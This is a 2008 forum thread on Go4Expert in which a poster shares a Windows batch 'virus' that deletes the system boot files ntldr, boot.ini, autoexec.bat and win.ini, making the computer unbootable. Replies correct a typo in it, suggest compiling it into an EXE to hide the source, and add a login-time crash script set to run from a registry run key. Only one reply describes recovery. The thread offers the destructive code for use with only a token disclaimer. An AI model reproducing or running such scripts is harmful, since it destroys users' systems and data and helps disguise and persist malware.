Go4Expert (http://www.go4expert.com/)
-   Ethical hacking Tips (http://www.go4expert.com/articles/ethical-hacking-tutorials/)
-   -   Batch file virus (http://www.go4expert.com/articles/batch-file-virus-t14980/)

aussiedude 5Nov2008 04:34

Batch file virus


Hey guys haven't posted in a while I have been doing a lot of school work, and there some retarded chick in my class that annoys that crap out me.


Um I have been working on this for a while and a finally got to virus rating from MacAffe. yay XDXDXDXD

The code

its a batch file that wipes that start-up files of a computer, so donít be a noob ad test it out on your own computer coz it'll screw your computer up and the only way to fix it is to re-image your computer fully (wipe the hard drive and re-install windows again LOL)

Code: Cpp

-----Disclaimer - Not to be used to damage/harm other peopleís computer systems----------

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini


Have fun lol

xpi0t0s 5Nov2008 13:40

Re: Batch file virus
You've missed the last i off win.ini.

neo_vi 5Nov2008 13:48

Re: Batch file virus
eay way to do this. click on tools-> folder options
In that select view tab, in that remove the checked item "Hide protected operating system files (Recommended)". then u can easily delete all these files without typing anything.

And this cannot be called a virus mate.

shabbir 5Nov2008 15:57

Re: Batch file virus

Originally Posted by xpi0t0s
You've missed the last i off win.ini.

Added for him

Bhullarz 8Nov2008 16:04

Re: Batch file virus
A batch can done the complete damage.
Why not code this file using C++ or C, then nobody will be able to see the source code even

Dak914 10Nov2008 02:00

Re: Batch file virus
Or just compile the batch file into a EXE.

Batch file viruses are fun because of how much you can do with them.


@echo off
goto 1

I am not the Windows expert I used to be, but just add this file to a hidden location and add a registry key to make it run after logging in and it should make the computer freak out every time after logging on. I am not sure if it will overload the memory everytime (which causes a crash) though.

shabbir 4Dec2008 14:47

Re: Batch file virus
Nominated for article of the month for November 2008

shabbir 20Dec2008 21:54

Re: Batch file virus
Vote for this article of the month for November 2008

Jenniferlinn 27Dec2008 17:13

Re: Batch file virus
Ok thanks for the code as i am sick of these virus infection happened to PC

Dak914 28Dec2008 10:16

Re: Batch file virus
You wouldn't have to re-image your disk per-say. You would just have to copy the four system files from a working windows machine to the "broken" machines root directory using a Linux livecd/liveusb distro (like backtrack). I have done this many times before, and it really isn't all that difficult. Just make sure you replace the same files you lost with equal files of the same name.

All times are GMT +5.5. The time now is 16:14.